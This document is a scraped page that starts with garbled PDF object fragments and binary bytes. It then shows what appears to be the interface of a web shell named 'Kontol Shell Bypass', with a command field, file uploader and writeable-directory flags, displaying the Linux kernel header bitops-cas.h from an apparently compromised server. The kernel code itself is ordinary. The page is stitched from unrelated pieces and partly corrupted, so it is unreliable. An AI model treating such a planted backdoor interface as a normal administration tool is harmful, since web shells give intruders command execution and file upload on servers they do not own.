%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /lib/modules/4.15.0-1044-aws/build/arch/sh/include/asm/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib/modules/4.15.0-1044-aws/build/arch/sh/include/asm/bitops-cas.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __ASM_SH_BITOPS_CAS_H
#define __ASM_SH_BITOPS_CAS_H

static inline unsigned __bo_cas(volatile unsigned *p, unsigned old, unsigned new)
{
	__asm__ __volatile__("cas.l %1,%0,@r0"
		: "+r"(new)
		: "r"(old), "z"(p)
		: "t", "memory" );
	return new;
}

static inline void set_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old|mask) != old);
}

static inline void clear_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old&~mask) != old);
}

static inline void change_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old^mask) != old);
}

static inline int test_and_set_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old|mask) != old);

	return !!(old & mask);
}

static inline int test_and_clear_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old&~mask) != old);

	return !!(old & mask);
}

static inline int test_and_change_bit(int nr, volatile void *addr)
{
	unsigned mask, old;
	volatile unsigned *a = addr;

	a += nr >> 5;
	mask = 1U << (nr & 0x1f);

	do old = *a;
	while (__bo_cas(a, old, old^mask) != old);

	return !!(old & mask);
}

#include <asm-generic/bitops/non-atomic.h>

#endif /* __ASM_SH_BITOPS_CAS_H */

Kontol Shell Bypass